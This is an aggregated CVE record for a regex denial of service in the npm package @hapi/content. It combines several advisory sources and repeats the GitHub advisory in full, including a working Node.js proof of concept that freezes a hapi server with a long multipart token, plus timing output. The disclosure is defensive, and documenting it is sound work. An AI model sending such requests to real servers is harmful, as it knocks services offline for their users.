CVE-2026-119202
@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
- Record
CVE-2026-119202- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-03
EUVDEUVD-2026-113373
7.5
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
- Record
EUVD-2026-113373- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-8494-f6mr-cjpv
7.5
@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service
Summary
Content.disposition() takes quadratic time when a Content-Disposition parameter contains a long token without =. One unauthenticated multipart request can block the Node.js event loop for several minutes.
Details
Content.disposition() reads the parameters with a global regular expression in String.prototype.replace():
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g
The parameter name part ([^\=\*\s]+) has no anchor. When a run of name characters has no = after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.
@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi, this occurs on each route with payload.multipart enabled, before the route handler and before any validation. The only size limit is the route payload.maxBytes, which is 1 MB by default.
The fix adds an alternative that matches the full run of name characters when no = follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g
Every release from 3.0.6 (published as content) up to and including @hapi/content 6.0.2 is affected.
Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low payload.maxBytes on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.
Proof of concept
Install @hapi/hapi with @hapi/content 6.0.2, then run:
const Hapi = require('@hapi/hapi');
const Net = require('net');
const attack = (port, n) => new Promise((resolve) => {
const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
const start = process.hrtime.bigint();
let res = '';
const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
socket.on('data', (chunk) => res += chunk);
socket.on('close', () => resolve(`${n} byte token HTTP ${res.split(' ')[1]} ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});
(async () => {
const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
server.route({
method: 'POST',
path: '/upload',
options: {
auth: false,
payload: { multipart: { output: 'data' }, parse: true }
},
handler: () => ({ ok: true })
});
await server.start();
for (const n of [32000, 64000, 128000]) {
console.log(await attack(7001, n));
}
await server.stop();
})();
With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:
32000 byte token HTTP 200 0.424 s
64000 byte token HTTP 200 1.670 s
128000 byte token HTTP 200 7.173 s
The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.
With @hapi/content 6.0.3:
32000 byte token HTTP 200 0.011 s
64000 byte token HTTP 200 0.003 s
128000 byte token HTTP 200 0.004 s
1024000 byte token HTTP 200 0.013 s
Impact
This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to…
- Record
GHSA-8494-f6mr-cjpv- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD
7.5
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
- Record
CVE-2026-119202- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-03
OSV
7.5
@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
- Record
CVE-2026-119202- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-04
OSVGHSA-8494-f6mr-cjpv
7.5
@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service
Summary
Content.disposition() takes quadratic time when a Content-Disposition parameter contains a long token without =. One unauthenticated multipart request can block the Node.js event loop for several minutes.
Details
Content.disposition() reads the parameters with a global regular expression in String.prototype.replace():
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g
The parameter name part ([^\=\*\s]+) has no anchor. When a run of name characters has no = after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.
@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi, this occurs on each route with payload.multipart enabled, before the route handler and before any validation. The only size limit is the route payload.maxBytes, which is 1 MB by default.
The fix adds an alternative that matches the full run of name characters when no = follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g
Every release from 3.0.6 (published as content) up to and including @hapi/content 6.0.2 is affected.
Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low payload.maxBytes on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.
Proof of concept
Install @hapi/hapi with @hapi/content 6.0.2, then run:
const Hapi = require('@hapi/hapi');
const Net = require('net');
const attack = (port, n) => new Promise((resolve) => {
const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
const start = process.hrtime.bigint();
let res = '';
const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
socket.on('data', (chunk) => res += chunk);
socket.on('close', () => resolve(`${n} byte token HTTP ${res.split(' ')[1]} ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});
(async () => {
const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
server.route({
method: 'POST',
path: '/upload',
options: {
auth: false,
payload: { multipart: { output: 'data' }, parse: true }
},
handler: () => ({ ok: true })
});
await server.start();
for (const n of [32000, 64000, 128000]) {
console.log(await attack(7001, n));
}
await server.stop();
})();
With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:
32000 byte token HTTP 200 0.424 s
64000 byte token HTTP 200 1.670 s
128000 byte token HTTP 200 7.173 s
The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.
With @hapi/content 6.0.3:
32000 byte token HTTP 200 0.011 s
64000 byte token HTTP 200 0.003 s
128000 byte token HTTP 200 0.004 s
1024000 byte token HTTP 200 0.013 s
Impact
This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to…
- Record
GHSA-8494-f6mr-cjpv- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-119202 No score
CVE-2026-119202 in @hapi/content - Patched by Root
Root has patched CVE-2026-119202 in the @hapi/content package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-119202- Updated
- 2026-11-03
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@hapi/contentnpm |
through 6.0.2 | 6.0.3 |
contentnpm |
3.0.6 to 4.0.6 | None known |
@hapi/contentnpm |
before 6.0.3 | 6.0.3 |
@hapi/contentRoot:npm |
before 6.0.2-aikido.1 | 6.0.2-aikido.1 |
@rootio/hapi__contentRoot:npm |
before 6.0.2-root.io.1 | 6.0.2-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts, references | CVE List | |
| affected, aliases | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-119202 is a high vulnerability (CVSS 7.5) in Hapijs Content, published October 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in @hapi/content 6.0.3.
References
github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv
github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd
github.com/hapijs/content/releases/tag/v6.0.3
nvd.nist.gov/vuln/detail/CVE-2026-119202
github.com/advisories/GHSA-8494-f6mr-cjpv
github.com/CVEProject/cvelistV5/tree/main/cves/2026/119xxx/CVE-2026-119202.json
github.com/hapijs/content
Left out here: the rest of 2 source descriptions. The JSON record has them.